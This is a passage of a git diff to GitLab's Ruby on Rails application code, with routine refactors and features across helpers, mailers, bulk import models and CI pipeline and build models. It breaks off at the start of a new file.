diff --git a/app/helpers/wiki_helper.rb b/app/helpers/wiki_helper.rb
index 3f82cf893a0..c2a5ff40852 100644
--- a/app/helpers/wiki_helper.rb
+++ b/app/helpers/wiki_helper.rb
@@ -22,7 +22,7 @@ module WikiHelper
end
def wiki_sidebar_toggle_button
- content_tag :button, class: 'btn btn-default sidebar-toggle js-sidebar-wiki-toggle', role: 'button', type: 'button' do
+ content_tag :button, class: 'gl-button btn btn-default btn-icon sidebar-toggle js-sidebar-wiki-toggle', role: 'button', type: 'button' do
sprite_icon('chevron-double-lg-left')
end
end
@@ -61,7 +61,7 @@ module WikiHelper
def wiki_sort_controls(wiki, sort, direction)
sort ||= Wiki::TITLE_ORDER
- link_class = 'btn btn-default has-tooltip reverse-sort-btn qa-reverse-sort rspec-reverse-sort'
+ link_class = 'gl-button btn btn-default btn-icon has-tooltip reverse-sort-btn qa-reverse-sort rspec-reverse-sort'
reversed_direction = direction == 'desc' ? 'asc' : 'desc'
icon_class = direction == 'desc' ? 'highest' : 'lowest'
diff --git a/app/helpers/workhorse_helper.rb b/app/helpers/workhorse_helper.rb
index 28dd1b00292..8785c4cdcbb 100644
--- a/app/helpers/workhorse_helper.rb
+++ b/app/helpers/workhorse_helper.rb
@@ -7,7 +7,7 @@ module WorkhorseHelper
def send_git_blob(repository, blob, inline: true)
headers.store(*Gitlab::Workhorse.send_git_blob(repository, blob))
- headers['Content-Disposition'] = inline ? 'inline' : content_disposition_attachment(repository.project, blob.name)
+ headers['Content-Disposition'] = content_disposition_for_blob(blob, inline)
# If enabled, this will override the values set above
workhorse_set_content_type!
@@ -49,11 +49,9 @@ module WorkhorseHelper
headers[Gitlab::Workhorse::DETECT_HEADER] = "true"
end
- def content_disposition_attachment(project, filename)
- if Feature.enabled?(:attachment_with_filename, project, default_enabled: :yaml)
- ActionDispatch::Http::ContentDisposition.format(disposition: 'attachment', filename: filename)
- else
- 'attachment'
- end
+ def content_disposition_for_blob(blob, inline)
+ return 'inline' if inline
+
+ ActionDispatch::Http::ContentDisposition.format(disposition: 'attachment', filename: blob.name)
end
end
diff --git a/app/mailers/emails/in_product_marketing.rb b/app/mailers/emails/in_product_marketing.rb
index 0be9ec5f915..d21c3d13b10 100644
--- a/app/mailers/emails/in_product_marketing.rb
+++ b/app/mailers/emails/in_product_marketing.rb
@@ -4,8 +4,10 @@ module Emails
module InProductMarketing
include InProductMarketingHelper
- FROM_ADDRESS = 'GitLab <team@gitlab.com>'.freeze
+ FROM_ADDRESS = 'GitLab <team@gitlab.com>'
CUSTOM_HEADERS = {
+ from: FROM_ADDRESS,
+ reply_to: FROM_ADDRESS,
'X-Mailgun-Track' => 'yes',
'X-Mailgun-Track-Clicks' => 'yes',
'X-Mailgun-Track-Opens' => 'yes',
@@ -25,7 +27,8 @@ module Emails
private
def mail_to(to:, subject:)
- mail(to: to, subject: subject, from: FROM_ADDRESS, reply_to: FROM_ADDRESS, **CUSTOM_HEADERS) do |format|
+ custom_headers = Gitlab.com? ? CUSTOM_HEADERS : {}
+ mail(to: to, subject: subject, **custom_headers) do |format|
format.html { render layout: nil }
format.text { render layout: nil }
end
diff --git a/app/mailers/emails/profile.rb b/app/mailers/emails/profile.rb
index f13ba9caee0..f967323f849 100644
--- a/app/mailers/emails/profile.rb
+++ b/app/mailers/emails/profile.rb
@@ -74,6 +74,30 @@ module Emails
end
end
+ def ssh_key_expired_email(user, fingerprints)
+ return unless user&.active?
+
+ @user = user
+ @fingerprints = fingerprints
+ @target_url = profile_keys_url
+
+ Gitlab::I18n.with_locale(@user.preferred_language) do
+ mail(to: @user.notification_email, subject: subject(_("Your SSH key has expired")))
+ end
+ end
+
+ def ssh_key_expiring_soon_email(user, fingerprints)
+ return unless user&.active?
+
+ @user = user
+ @fingerprints = fingerprints
+ @target_url = profile_keys_url
+
+ Gitlab::I18n.with_locale(@user.preferred_language) do
+ mail(to: @user.notification_email, subject: subject(_("Your SSH key is expiring soon.")))
+ end
+ end
+
def unknown_sign_in_email(user, ip, time)
@user = user
@ip = ip
diff --git a/app/mailers/notify.rb b/app/mailers/notify.rb
index 8f947ea7113..5f5afef350b 100644
--- a/app/mailers/notify.rb
+++ b/app/mailers/notify.rb
@@ -70,7 +70,7 @@ class Notify < ApplicationMailer
return unless sender = User.find(sender_id)
address = default_sender_address
- address.display_name = sender_name.presence || sender.name
+ address.display_name = sender_name.presence || "#{sender.name} (#{sender.to_reference})"
if send_from_user_email && can_send_from_user_email?(sender)
address.address = sender.email
@@ -178,7 +178,7 @@ class Notify < ApplicationMailer
headers['In-Reply-To'] = message_id(note.references.last)
headers['References'] = note.references.map { |ref| message_id(ref) }
- headers['X-GitLab-Discussion-ID'] = note.discussion.id if note.part_of_discussion?
+ headers['X-GitLab-Discussion-ID'] = note.discussion.id if note.part_of_discussion? || note.can_be_discussion_note?
headers[:subject] = "Re: #{headers[:subject]}" if headers[:subject]
diff --git a/app/models/ability.rb b/app/models/ability.rb
index 514e923c380..ba46a98b951 100644
--- a/app/models/ability.rb
+++ b/app/models/ability.rb
@@ -58,7 +58,8 @@ class Ability
def allowed?(user, action, subject = :global, opts = {})
if subject.is_a?(Hash)
- opts, subject = subject, :global
+ opts = subject
+ subject = :global
end
policy = policy_for(user, subject)
diff --git a/app/models/application_record.rb b/app/models/application_record.rb
index 44d1b6cf907..1bbace791ed 100644
--- a/app/models/application_record.rb
+++ b/app/models/application_record.rb
@@ -42,10 +42,6 @@ class ApplicationRecord < ActiveRecord::Base
false
end
- def self.at_most(count)
- limit(count)
- end
-
def self.safe_find_or_create_by!(*args, &block)
safe_find_or_create_by(*args, &block).tap do |record|
raise ActiveRecord::RecordNotFound unless record.present?
@@ -56,9 +52,9 @@ class ApplicationRecord < ActiveRecord::Base
# Start a new transaction with a shorter-than-usual statement timeout. This is
# currently one third of the default 15-second timeout
- def self.with_fast_statement_timeout
+ def self.with_fast_read_statement_timeout(timeout_ms = 5000)
transaction(requires_new: true) do
- connection.exec_query("SET LOCAL statement_timeout = 5000")
+ connection.exec_query("SET LOCAL statement_timeout = #{timeout_ms}")
yield
end
@@ -83,3 +79,5 @@ class ApplicationRecord < ActiveRecord::Base
enum(enum_mod.key => values)
end
end
+
+ApplicationRecord.prepend_if_ee('EE::ApplicationRecordHelpers')
diff --git a/app/models/application_setting.rb b/app/models/application_setting.rb
index 44eb2fefb3f..f405f5ca5d3 100644
--- a/app/models/application_setting.rb
+++ b/app/models/application_setting.rb
@@ -465,6 +465,16 @@ class ApplicationSetting < ApplicationRecord
length: { maximum: 100, message: N_('is too long (maximum is 100 entries)') },
allow_nil: false
+ validates :admin_mode,
+ inclusion: { in: [true, false], message: _('must be a boolean value') }
+
+ validates :external_pipeline_validation_service_url,
+ addressable_url: true, allow_blank: true
+
+ validates :external_pipeline_validation_service_timeout,
+ allow_nil: true,
+ numericality: { only_integer: true, greater_than: 0 }
+
attr_encrypted :asset_proxy_secret_key,
mode: :per_attribute_iv,
key: Settings.attr_encrypted_db_key_base_truncated,
@@ -493,6 +503,7 @@ class ApplicationSetting < ApplicationRecord
attr_encrypted :ci_jwt_signing_key, encryption_options_base_truncated_aes_256_gcm
attr_encrypted :secret_detection_token_revocation_token, encryption_options_base_truncated_aes_256_gcm
attr_encrypted :cloud_license_auth_token, encryption_options_base_truncated_aes_256_gcm
+ attr_encrypted :external_pipeline_validation_service_token, encryption_options_base_truncated_aes_256_gcm
validates :disable_feed_token,
inclusion: { in: [true, false], message: _('must be a boolean value') }
diff --git a/app/models/application_setting_implementation.rb b/app/models/application_setting_implementation.rb
index c067199b52c..66a8d1f8105 100644
--- a/app/models/application_setting_implementation.rb
+++ b/app/models/application_setting_implementation.rb
@@ -35,6 +35,7 @@ module ApplicationSettingImplementation
class_methods do
def defaults
{
+ admin_mode: false,
after_sign_up_text: nil,
akismet_enabled: false,
allow_local_requests_from_system_hooks: true,
@@ -71,6 +72,9 @@ module ApplicationSettingImplementation
eks_secret_access_key: nil,
email_restrictions_enabled: false,
email_restrictions: nil,
+ external_pipeline_validation_service_timeout: nil,
+ external_pipeline_validation_service_token: nil,
+ external_pipeline_validation_service_url: nil,
first_day_of_week: 0,
gitaly_timeout_default: 55,
gitaly_timeout_fast: 10,
@@ -434,11 +438,14 @@ module ApplicationSettingImplementation
def parse_addr_and_port(str)
case str
when /\A\[(?<address> .* )\]:(?<port> \d+ )\z/x # string like "[::1]:80"
- address, port = $~[:address], $~[:port]
+ address = $~[:address]
+ port = $~[:port]
when /\A(?<address> [^:]+ ):(?<port> \d+ )\z/x # string like "127.0.0.1:80"
- address, port = $~[:address], $~[:port]
+ address = $~[:address]
+ port = $~[:port]
else # string with no port number
- address, port = str, nil
+ address = str
+ port = nil
end
[address, port&.to_i]
diff --git a/app/models/audit_event_archived.rb b/app/models/audit_event_archived.rb
deleted file mode 100644
index 3119f56fbcc..00000000000
--- a/app/models/audit_event_archived.rb
+++ /dev/null
@@ -1,10 +0,0 @@
-# frozen_string_literal: true
-
-# This model is not intended to be used.
-# It is a temporary reference to the pre-partitioned
-# audit_events table.
-# Please refer to https://gitlab.com/groups/gitlab-org/-/epics/3206
-# for details.
-class AuditEventArchived < ApplicationRecord
- self.table_name = 'audit_events_archived'
-end
diff --git a/app/models/blob.rb b/app/models/blob.rb
index 8a9db8b45ea..2185233a1ac 100644
--- a/app/models/blob.rb
+++ b/app/models/blob.rb
@@ -2,6 +2,7 @@
# Blob is a Rails-specific wrapper around Gitlab::Git::Blob, SnippetBlob and Ci::ArtifactBlob
class Blob < SimpleDelegator
+ include GlobalID::Identification
include Presentable
include BlobLanguageFromGitAttributes
include BlobActiveModel
diff --git a/app/models/blob_viewer/dependency_manager.rb b/app/models/blob_viewer/dependency_manager.rb
index 1be7120a955..a851f22bfcd 100644
--- a/app/models/blob_viewer/dependency_manager.rb
+++ b/app/models/blob_viewer/dependency_manager.rb
@@ -33,8 +33,8 @@ module BlobViewer
@json_data ||= begin
prepare!
Gitlab::Json.parse(blob.data)
- rescue
- {}
+ rescue
+ {}
end
end
diff --git a/app/models/board.rb b/app/models/board.rb
index 418ea67fc6a..b26a9461ffc 100644
--- a/app/models/board.rb
+++ b/app/models/board.rb
@@ -34,14 +34,6 @@ class Board < ApplicationRecord
project_id.present?
end
- def backlog_list
- lists.merge(List.backlog).take
- end
-
- def closed_list
- lists.merge(List.closed).take
- end
-
def scoped?
false
end
diff --git a/app/models/bulk_imports/entity.rb b/app/models/bulk_imports/entity.rb
index 9127dab56a6..04af1145769 100644
--- a/app/models/bulk_imports/entity.rb
+++ b/app/models/bulk_imports/entity.rb
@@ -68,25 +68,6 @@ class BulkImports::Entity < ApplicationRecord
end
end
- def update_tracker_for(relation:, has_next_page:, next_page: nil)
- attributes = {
- relation: relation,
- has_next_page: has_next_page,
- next_page: next_page,
- bulk_import_entity_id: id
- }
-
- trackers.upsert(attributes, unique_by: %i[bulk_import_entity_id relation])
- end
-
- def has_next_page?(relation)
- trackers.find_by(relation: relation)&.has_next_page
- end
-
- def next_page_for(relation)
- trackers.find_by(relation: relation)&.next_page
- end
-
private
def validate_parent_is_a_group
diff --git a/app/models/bulk_imports/stage.rb b/app/models/bulk_imports/stage.rb
new file mode 100644
index 00000000000..050c2c76ce8
--- /dev/null
+++ b/app/models/bulk_imports/stage.rb
@@ -0,0 +1,65 @@
+# frozen_string_literal: true
+
+module BulkImports
+ class Stage
+ include Singleton
+
+ CONFIG = {
+ group: {
+ pipeline: BulkImports::Groups::Pipelines::GroupPipeline,
+ stage: 0
+ },
+ subgroups: {
+ pipeline: BulkImports::Groups::Pipelines::SubgroupEntitiesPipeline,
+ stage: 1
+ },
+ members: {
+ pipeline: BulkImports::Groups::Pipelines::MembersPipeline,
+ stage: 1
+ },
+ labels: {
+ pipeline: BulkImports::Groups::Pipelines::LabelsPipeline,
+ stage: 1
+ },
+ milestones: {
+ pipeline: BulkImports::Groups::Pipelines::MilestonesPipeline,
+ stage: 1
+ },
+ badges: {
+ pipeline: BulkImports::Groups::Pipelines::BadgesPipeline,
+ stage: 1
+ },
+ finisher: {
+ pipeline: BulkImports::Groups::Pipelines::EntityFinisher,
+ stage: 2
+ }
+ }.freeze
+
+ def self.pipelines
+ instance.pipelines
+ end
+
+ def self.pipeline_exists?(name)
+ pipelines.any? do |(_, pipeline)|
+ pipeline.to_s == name.to_s
+ end
+ end
+
+ def pipelines
+ @pipelines ||= config
+ .values
+ .sort_by { |entry| entry[:stage] }
+ .map do |entry|
+ [entry[:stage], entry[:pipeline]]
+ end
+ end
+
+ private
+
+ def config
+ @config ||= CONFIG
+ end
+ end
+end
+
+::BulkImports::Stage.prepend_if_ee('::EE::BulkImports::Stage')
diff --git a/app/models/bulk_imports/tracker.rb b/app/models/bulk_imports/tracker.rb
index 182c0bbaa8a..282ba9e19ac 100644
--- a/app/models/bulk_imports/tracker.rb
+++ b/app/models/bulk_imports/tracker.rb
@@ -3,6 +3,8 @@
class BulkImports::Tracker < ApplicationRecord
self.table_name = 'bulk_import_trackers'
+ alias_attribute :pipeline_name, :relation
+
belongs_to :entity,
class_name: 'BulkImports::Entity',
foreign_key: :bulk_import_entity_id,
@@ -16,6 +18,29 @@ class BulkImports::Tracker < ApplicationRecord
validates :stage, presence: true
+ DEFAULT_PAGE_SIZE = 500
+
+ scope :next_pipeline_trackers_for, -> (entity_id) {
+ entity_scope = where(bulk_import_entity_id: entity_id)
+ next_stage_scope = entity_scope.with_status(:created).select('MIN(stage)')
+
+ entity_scope.where(stage: next_stage_scope)
+ }
+
+ def self.stage_running?(entity_id, stage)
+ where(stage: stage, bulk_import_entity_id: entity_id)
+ .with_status(:created, :started)
+ .exists?
+ end
+
+ def pipeline_class
+ unless BulkImports::Stage.pipeline_exists?(pipeline_name)
+ raise NameError.new("'#{pipeline_name}' is not a valid BulkImport Pipeline")
+ end
+
+ pipeline_name.constantize
+ end
+
state_machine :status, initial: :created do
state :created, value: 0
state :started, value: 1
diff --git a/app/models/ci/build.rb b/app/models/ci/build.rb
index 824e35a6480..3d8e9f4c126 100644
--- a/app/models/ci/build.rb
+++ b/app/models/ci/build.rb
@@ -14,8 +14,6 @@ module Ci
BuildArchivedError = Class.new(StandardError)
- ignore_columns :artifacts_file, :artifacts_file_store, :artifacts_metadata, :artifacts_metadata_store, :artifacts_size, :commands, remove_after: '2019-12-15', remove_with: '12.7'
-
belongs_to :project, inverse_of: :builds
belongs_to :runner
belongs_to :trigger_request
@@ -35,6 +33,7 @@ module Ci
}.freeze
DEGRADATION_THRESHOLD_VARIABLE_NAME = 'DEGRADATION_THRESHOLD'
+ RUNNERS_STATUS_CACHE_EXPIRATION = 1.minute
has_one :deployment, as: :deployable, class_name: 'Deployment'
has_one :pending_state, class_name: 'Ci::BuildPendingState', inverse_of: :build
@@ -75,7 +74,14 @@ module Ci
return unless has_environment?
strong_memoize(:persisted_environment) do
- Environment.find_by(name: expanded_environment_name, project: project)
+ # This code path has caused N+1s in the past, since environments are only indirectly
+ # associated to builds and pipelines; see https://gitlab.com/gitlab-org/gitlab/-/issues/326445
+ # We therefore batch-load them to prevent dormant N+1s until we found a proper solution.
+ BatchLoader.for(expanded_environment_name).batch(key: project_id) do |names, loader, args|
+ Environment.where(name: names, project: args[:key]).find_each do |environment|
+ loader.call(environment.name, environment)
+ end
+ end
end
end
@@ -88,8 +94,7 @@ module Ci
validates :ref, presence: true
scope :not_interruptible, -> do
- joins(:metadata).where('ci_builds_metadata.id NOT IN (?)',
- Ci::BuildMetadata.scoped_build.with_interruptible.select(:id))
+ joins(:metadata).where.not('ci_builds_metadata.id' => Ci::BuildMetadata.scoped_build.with_interruptible.select(:id))
end
scope :unstarted, -> { where(runner_id: nil) }
@@ -319,7 +324,7 @@ module Ci
end
end
- before_transition any => [:failed] do |build|
+ after_transition any => [:failed] do |build|
next unless build.project
next unless build.deployment
@@ -372,11 +377,11 @@ module Ci
end
def other_manual_actions
- pipeline.manual_actions.where.not(name: name)
+ pipeline.manual_actions.reject { |action| action.name == self.name }
end
def other_scheduled_actions
- pipeline.scheduled_actions.where.not(name: name)
+ pipeline.scheduled_actions.reject { |action| action.name == self.name }
end
def pages_generator?
@@ -698,7 +703,23 @@ module Ci
end
def any_runners_online?
- project.any_active_runners? { |runner| runner.match_build_if_online?(self) }
+ if Feature.enabled?(:runners_cached_states, project, default_enabled: :yaml)
+ cache_for_online_runners do
+ project.any_online_runners? { |runner| runner.match_build_if_online?(self) }
+ end
+ else
+ project.any_active_runners? { |runner| runner.match_build_if_online?(self) }
+ end
+ end
+
+ def any_runners_available?
+ if Feature.enabled?(:runners_cached_states, project, default_enabled: :yaml)
+ cache_for_available_runners do
+ project.active_runners.exists?
+ end
+ else
+ project.any_active_runners?
+ end
end
def stuck?
@@ -1103,6 +1124,20 @@ module Ci
.to_a
.include?(exit_code)
end
+
+ def cache_for_online_runners(&block)
+ Rails.cache.fetch(
+ ['has-online-runners', id],
+ expires_in: RUNNERS_STATUS_CACHE_EXPIRATION
+ ) { yield }
+ end
+
+ def cache_for_available_runners(&block)
+ Rails.cache.fetch(
+ ['has-available-runners', project.id],
+ expires_in: RUNNERS_STATUS_CACHE_EXPIRATION
+ ) { yield }
+ end
end
end
diff --git a/app/models/ci/build_dependencies.rb b/app/models/ci/build_dependencies.rb
index b50ecf99439..8ae921f1416 100644
--- a/app/models/ci/build_dependencies.rb
+++ b/app/models/ci/build_dependencies.rb
@@ -21,8 +21,7 @@ module Ci
deps = model_class.where(pipeline_id: processable.pipeline_id).latest
deps = from_previous_stages(deps)
deps = from_needs(deps)
- deps = from_dependencies(deps)
- deps
+ from_dependencies(deps)
end
# Dependencies from the same parent-pipeline hierarchy excluding
diff --git a/app/models/ci/build_trace_chunk.rb b/app/models/ci/build_trace_chunk.rb
index d4f9f78a1ac..7e03d709f24 100644
--- a/app/models/ci/build_trace_chunk.rb
+++ b/app/models/ci/build_trace_chunk.rb
@@ -30,9 +30,9 @@ module Ci
fog: 3
}.freeze
- STORE_TYPES = DATA_STORES.keys.map do |store|
+ STORE_TYPES = DATA_STORES.keys.to_h do |store|
[store, "Ci::BuildTraceChunks::#{store.capitalize}".constantize]
- end.to_h.freeze
+ end.freeze
enum data_store: DATA_STORES
diff --git a/app/models/ci/build_trace_chunks/redis.rb b/app/models/ci/build_trace_chunks/redis.rb
index 58d50b39c11..003ec107895 100644
--- a/app/models/ci/build_trace_chunks/redis.rb
+++ b/app/models/ci/build_trace_chunks/redis.rb
@@ -4,7 +4,7 @@ module Ci
module BuildTraceChunks
class Redis
CHUNK_REDIS_TTL = 1.week
- LUA_APPEND_CHUNK = <<~EOS.freeze
+ LUA_APPEND_CHUNK = <<~EOS
local key, new_data, offset = KEYS[1], ARGV[1], ARGV[2]
local length = new_data:len()
local expire = #{CHUNK_REDIS_TTL.seconds}
diff --git a/app/models/ci/group.rb b/app/models/ci/group.rb
index 4ba09fd8152..47b91fcf2ce 100644
--- a/app/models/ci/group.rb
+++ b/app/models/ci/group.rb
@@ -22,6 +22,13 @@ module Ci
@jobs = jobs
end
+ def ==(other)
+ other.present? && other.is_a?(self.class) &&
+ project == other.project &&
+ stage == other.stage &&
+ name == other.name
+ end
+
def status
strong_memoize(:status) do
status_struct.status
diff --git a/app/models/ci/job_artifact.rb b/app/models/ci/job_artifact.rb
index d5e88f2be5b..50e21a1c323 100644
--- a/app/models/ci/job_artifact.rb
+++ b/app/models/ci/job_artifact.rb
@@ -131,8 +131,6 @@ module Ci
update_project_statistics project_statistics_name: :build_artifacts_size
scope :not_expired, -> { where('expire_at IS NULL OR expire_at > ?', Time.current) }
- scope :with_files_stored_locally, -> { where(file_store: ::JobArtifactUploader::Store::LOCAL) }
- scope :with_files_stored_remotely, -> { where(file_store: ::JobArtifactUploader::Store::REMOTE) }
scope :for_sha, ->(sha, project_id) { joins(job: :pipeline).where(ci_pipelines: { sha: sha, project_id: project_id }) }
scope :for_job_name, ->(name) { joins(:job).where(ci_builds: { name: name }) }
@@ -292,8 +290,12 @@ module Ci
end
end
+ def archived_trace_exists?
+ file&.file&.exists?
+ end
+
def self.archived_trace_exists_for?(job_id)
- where(job_id: job_id).trace.take&.file&.file&.exists?
+ where(job_id: job_id).trace.take&.archived_trace_exists?
end
def self.max_artifact_size(type:, project:)
diff --git a/app/models/ci/pipeline.rb b/app/models/ci/pipeline.rb
index b63ec0c8a97..c9ab69317e1 100644
--- a/app/models/ci/pipeline.rb
+++ b/app/models/ci/pipeline.rb
@@ -286,9 +286,11 @@ module Ci
end
after_transition any => [:failed] do |pipeline|
- next unless pipeline.auto_devops_source?
+ pipeline.run_after_commit do
+ ::Gitlab::Ci::Pipeline::Metrics.pipeline_failure_reason_counter.increment(reason: pipeline.failure_reason)
- pipeline.run_after_commit { AutoDevops::DisableWorker.perform_async(pipeline.id) }
+ AutoDevops::DisableWorker.perform_async(pipeline.id) if pipeline.auto_devops_source?
+ end
end
end
@@ -309,6 +311,7 @@ module Ci
scope :created_after, -> (time) { where('ci_pipelines.created_at > ?', time) }
scope :created_before_id, -> (id) { where('ci_pipelines.id < ?', id) }
scope :before_pipeline, -> (pipeline) { created_before_id(pipeline.id).outside_pipeline_family(pipeline) }
+ scope :eager_load_project, -> { eager_load(project: [:route, { namespace: :route }]) }
scope :outside_pipeline_family, ->(pipeline) do
where.not(id: pipeline.same_family_pipeline_ids)
@@ -393,26 +396,13 @@ module Ci
# given we simply get the latest pipelines for the commits, regardless
# of what refs the pipelines belong to.
def self.latest_pipeline_per_commit(commits, ref = nil)
- p1 = arel_table
- p2 = arel_table.alias
-
- # This LEFT JOIN will filter out all but the newest row for every
- # combination of (project_id, sha) or (project_id, sha, ref) if a ref is
- # given.
- cond = p1[:sha].eq(p2[:sha])
- .and(p1[:project_id].eq(p2[:project_id]))
- .and(p1[:id].lt(p2[:id]))
-
- cond = cond.and(p1[:ref].eq(p2[:ref])) if ref
- join = p1.join(p2, Arel::Nodes::OuterJoin).on(cond)
+ sql = select('DISTINCT ON (sha) *')
+ .where(sha: commits)
+ .order(:sha, id: :desc)
- relation = where(sha: commits)
- .where(p2[:id].eq(nil))
- .joins(join.join_sources)
+ sql = sql.where(ref: ref) if ref
- relation = relation.where(ref: ref) if ref
-
- relation.each_with_object({}) do |pipeline, hash|
+ sql.each_with_object({}) do |pipeline, hash|
hash[pipeline.sha] = pipeline
end
end
@@ -445,6 +435,10 @@ module Ci
@auto_devops_pipelines_completed_total ||= Gitlab::Metrics.counter(:auto_devops_pipelines_completed_total, 'Number of completed auto devops pipelines')
end
+ def uses_needs?
+ builds.where(scheduling_type: :dag).any?
+ end
+
def stages_count
statuses.select(:stage).distinct.count
end
@@ -510,6 +504,12 @@ module Ci
end
end
+ def git_author_full_text
+ strong_memoize(:git_author_full_text) do
+ commit.try(:author_full_text)
+ end
+ end
+
def git_commit_message
strong_memoize(:git_commit_message) do
commit.try(:message)
@@ -573,10 +573,18 @@ module Ci
end
def cancel_running(retries: nil)
- retry_optimistic_lock(cancelable_statuses, retries, name: 'ci_pipeline_cancel_running') do |cancelable|
- cancelable.find_each do |job|
- yield(job) if block_given?
- job.cancel
+ commit_status_relations = [:project, :pipeline]
+ ci_build_relations = [:deployment, :taggings]
+
+ retry_optimistic_lock(cancelable_statuses, retries, name: 'ci_pipeline_cancel_running') do |cancelables|
+ cancelables.find_in_batches do |batch|
+ ActiveRecord::Associations::Preloader.new.preload(batch, commit_status_relations)
+ ActiveRecord::Associations::Preloader.new.preload(batch.select { |job| job.is_a?(Ci::Build) }, ci_build_relations)
+
+ batch.each do |job|
+ yield(job) if block_given?
+ job.cancel
+ end
end
end
end
@@ -664,7 +672,9 @@ module Ci
end
def has_kubernetes_active?
- project.deployment_platform&.active?
+ strong_memoize(:has_kubernetes_active) do
+ project.deployment_platform&.active?
+ end
end
def freeze_period?
@@ -822,6 +832,7 @@ module Ci
variables.append(key: 'CI_COMMIT_DESCRIPTION', value: git_commit_description.to_s)
variables.append(key: 'CI_COMMIT_REF_PROTECTED', value: (!!protected_ref?).to_s)
variables.append(key: 'CI_COMMIT_TIMESTAMP', value: git_commit_timestamp.to_s)
+ variables.append(key: 'CI_COMMIT_AUTHOR', value: git_author_full_text.to_s)
# legacy variables
variables.append(key: 'CI_BUILD_REF', value: sha)
diff --git a/app/models/ci/pipeline_artifact.rb b/app/models/ci/pipeline_artifact.rb
index f538a4cd808..9dfe4252e95 100644
--- a/app/models/ci/pipeline_artifact.rb
+++ b/app/models/ci/pipeline_artifact.rb
@@ -57,3 +57,5 @@ module Ci
end
end
end
+
+Ci::PipelineArtifact.prepend_ee_mod
diff --git a/app/models/ci/pipeline_schedule.rb b/app/models/ci/pipeline_schedule.rb
index 2fae077dd87..3c17246bc34 100644
--- a/app/models/ci/pipeline_schedule.rb
+++ b/app/models/ci/pipeline_schedule.rb
@@ -7,6 +7,7 @@ module Ci
include StripAttribute
include Schedulable
include Limitable
+ include EachBatch
self.limit_name = 'ci_pipeline_schedules'
self.limit_scope = :project
@@ -28,6 +29,7 @@ module Ci
scope :active, -> { where(active: true) }
scope :inactive, -> { where(active: false) }
scope :preloaded, -> { preload(:owner, project: [:route]) }
+ scope :owned_by, ->(user) { where(owner: user) }
accepts_nested_attributes_for :variables, allow_destroy: true
diff --git a/app/models/ci/processable.rb b/app/models/ci/processable.rb
index 0ad1ed2fce8..3b61840805a 100644
--- a/app/models/ci/processable.rb
+++ b/app/models/ci/processable.rb
@@ -165,7 +165,13 @@ module Ci
end
def all_dependencies
- dependencies.all
+ if Feature.enabled?(:preload_associations_jobs_request_api_endpoint, project, default_enabled: :yaml)
+ strong_memoize(:all_dependencies) do
+ dependencies.all
+ end
+ else
+ dependencies.all
+ end
end
private
diff --git a/app/models/ci/runner.rb b/app/models/ci/runner.rb
index d1a20bc93c3..05126853e0f 100644
--- a/app/models/ci/runner.rb
+++ b/app/models/ci/runner.rb
@@ -45,8 +45,6 @@ module Ci
FORM_EDITABLE = %i[description tag_list active run_untagged locked access_level maximum_timeout_human_readable].freeze
MINUTES_COST_FACTOR_FIELDS = %i[public_projects_minutes_cost_factor private_projects_minutes_cost_factor].freeze
- ignore_column :is_shared, remove_after: '2019-12-15', remove_with: '12.6'
-
has_many :builds
has_many :runner_projects, inverse_of: :runner, dependent: :destroy # rubocop:disable Cop/ActiveRecordDependent
has_many :projects, through: :runner_projects
diff --git a/app/models/ci/stage.rb b/app/models/ci/stage.rb
index 03a97355574..9dd75150ac7 100644
--- a/app/models/ci/stage.rb
+++ b/app/models/ci/stage.rb
@@ -14,11 +14,20 @@ module Ci
has_many :statuses, class_name: 'CommitStatus', foreign_key: :stage_id
has_many :latest_statuses, -> { ordered.latest }, class_name: 'CommitStatus', foreign_key: :stage_id
+ has_many :retried_statuses, -> { ordered.retried }, class_name: 'CommitStatus', foreign_key: :stage_id
has_many :processables, class_name: 'Ci::Processable', foreign_key: :stage_id
has_many :builds, foreign_key: :stage_id
has_many :bridges, foreign_key: :stage_id
scope :ordered, -> { order(position: :asc) }
+ scope :in_pipelines, ->(pipelines) { where(pipeline: pipelines) }
+ scope :by_name, ->(names) { where(name: names) }
+ scope :with_latest_and_retried_statuses, -> do
+ includes(
+ latest_statuses: [:pipeline, project: :namespace],
+ retried_statuses: [:pipeline, project: :namespace]
+ )
+ end
with_options unless: :importing? do
validates :project, presence: true
@@ -35,7 +44,7 @@ module Ci
next if position.present?
self.position = statuses.select(:stage_idx)
- .where('stage_idx IS NOT NULL')
+ .where.not(stage_idx: nil)
.group(:stage_idx)
.order('COUNT(*) DESC')
.first&.stage_idx.to_i
diff --git a/app/models/ci/test_case.rb b/app/models/ci/test_case.rb
deleted file mode 100644
index 19ecc177436..00000000000
--- a/app/models/ci/test_case.rb
+++ /dev/null
@@ -1,35 +0,0 @@
-# frozen_string_literal: true
-
-module Ci
- class TestCase < ApplicationRecord
- extend Gitlab::Ci::Model
-
- validates :project, :key_hash, presence: true
-
- has_many :test_case_failures, class_name: 'Ci::TestCaseFailure'
-
- belongs_to :project
-
- scope :by_project_and_keys, -> (project, keys) { where(project_id: project.id, key_hash: keys) }
-
- class << self
- def find_or_create_by_batch(project, test_case_keys)
- # Insert records first. Existing ones will be skipped.
- insert_all(test_case_attrs(project, test_case_keys))
-
- # Find all matching records now that we are sure they all are persisted.
- by_project_and_keys(project, test_case_keys)
- end
-
- private
-
- def test_case_attrs(project, test_case_keys)
- # NOTE: Rails 6.1 will add support for insert_all on relation so that
- # we will be able to do project.test_cases.insert_all.
- test_case_keys.map do |hashed_key|
- { project_id: project.id, key_hash: hashed_key }
- end
- end
- end
- end
-end
diff --git a/app/models/ci/test_case_failure.rb b/app/models/ci/test_case_failure.rb
deleted file mode 100644
index 8867b954240..00000000000
--- a/app/models/ci/test_case_failure.rb
+++ /dev/null
@@ -1,29 +0,0 @@
-# frozen_string_literal: true
-
-module Ci
- class TestCaseFailure < ApplicationRecord
- extend Gitlab::Ci::Model
-
- REPORT_WINDOW = 14.days
-
- validates :test_case, :build, :failed_at, presence: true
-
- belongs_to :test_case, class_name: "Ci::TestCase", foreign_key: :test_case_id
- belongs_to :build, class_name: "Ci::Build", foreign_key: :build_id
-
- def self.recent_failures_count(project:, test_case_keys:, date_range: REPORT_WINDOW.ago..Time.current)
- joins(:test_case)
- .where(
- ci_test_cases: {
- project_id: project.id,
- key_hash: test_case_keys
- },
- ci_test_case_failures: {
- failed_at: date_range
- }
- )
- .group(:key_hash)
- .count('ci_test_case_failures.id')
- end
- end
-end
diff --git a/app/models/ci/unit_test.rb b/app/models/ci/unit_test.rb
new file mode 100644
index 00000000000..81623b4f6ad
--- /dev/null
+++ b/app/models/ci/unit_test.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+module Ci
